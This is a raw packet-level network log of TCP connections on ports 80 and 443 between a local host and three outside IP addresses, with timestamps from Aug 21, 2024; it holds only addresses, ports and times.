Aug 21, 2024 08:32:15.824790001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824803114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824805021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824811935 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.824820995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.824842930 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.841054916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.841065884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.841072083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.841109991 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.841142893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.841173887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.841181040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.841192961 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.841198921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.841231108 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.841255903 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.868608952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868628025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868640900 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868695021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.868736982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868748903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868755102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868765116 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868769884 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868776083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868787050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868792057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868797064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868803024 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.868818045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.868820906 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.868837118 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.868859053 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870119095 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870125055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870140076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870197058 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870229006 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870242119 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870248079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870259047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870265961 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870311022 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870311022 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870413065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870419979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870424986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870429993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870440006 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870445013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870451927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870456934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870465040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870476961 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870506048 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870549917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870556116 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870567083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870609045 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870609999 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870656967 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870662928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870676994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870683908 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870696068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870703936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870711088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870714903 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870719910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870728016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.870737076 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870753050 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870775938 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.870789051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.870817900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.870829105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.870871067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.870877981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.870889902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.870892048 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.870898008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.870914936 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.870932102 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.871001959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871011019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871023893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871031046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871043921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871049881 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.871063948 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.871227026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871234894 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871248007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871256113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871272087 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.871275902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871283054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871288061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871293068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871295929 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.871299028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871304989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871308088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.871330976 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.871352911 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.871479034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871486902 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871500969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871511936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871519089 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.871553898 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.872317076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.872325897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.872337103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.872348070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.872353077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.872358084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.872364044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.872370005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.872385025 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.872436047 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.885660887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885675907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885698080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885708094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885723114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885731936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885749102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885756969 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.885787964 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.885808945 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.885827065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885837078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885844946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885853052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885862112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885874987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.885878086 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885889053 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885896921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885905981 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.885906935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.885922909 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.885941982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886121035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886130095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886141062 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886147976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886154890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886162043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886168957 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886176109 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886176109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886183977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886188984 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886192083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886209011 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886214018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886220932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886228085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886229038 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886234999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886243105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886246920 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886250019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886261940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886265039 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886269093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886279106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886286974 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886315107 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886336088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886481047 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886483908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886493921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886501074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886508942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886526108 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886528969 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886538029 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886549950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886550903 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886569977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886574984 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886578083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886591911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886599064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886610985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886615992 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886619091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886631966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.886636019 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886657000 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.886989117 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.887003899 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.887056112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.887070894 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.887083054 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.887162924 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.887835026 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.887849092 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.887938023 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.887943983 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.887948990 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.888000965 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.888045073 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.888071060 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.888071060 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.888077974 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.888111115 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.888134003 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.888223886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888232946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888241053 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888247013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888262033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888269901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888292074 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.888317108 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.888384104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888392925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888406038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888425112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888437033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888444901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888461113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888465881 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.888468981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888488054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.888489008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888499022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888506889 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888508081 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.888520002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888536930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888537884 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.888546944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888554096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.888555050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888562918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888576984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888583899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.888585091 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.888607025 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.888622046 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.889264107 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.889278889 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.889348030 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.889353037 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.889390945 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.889411926 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.889502048 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.889506102 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.889506102 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.889513016 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.889574051 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.890491009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.890497923 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.890507936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.890512943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.890517950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.890522957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.890536070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.890559912 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.890593052 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.893038034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893043995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893049955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893115997 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.893122911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893130064 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893141031 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893147945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893198967 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.893198967 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.893301964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893309116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893313885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893318892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893325090 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893362045 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.893393993 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.893527985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893533945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.893600941 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.894483089 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.894489050 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.894499063 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.894551992 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.894553900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.894560099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.894577026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.894582033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.894617081 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.894857883 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905267954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905297995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905316114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905325890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905344009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905354977 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905375004 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905392885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905401945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905410051 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905411959 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905424118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905432940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905443907 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905453920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905463934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905463934 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905478001 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905484915 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905504942 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905524015 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905544996 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905708075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905718088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905735016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905745029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905755043 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905765057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905770063 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905781031 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905791044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905792952 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905801058 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905811071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.905812025 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.905822039 CEST	80	49719	147.45.44.104	192.168.2.6
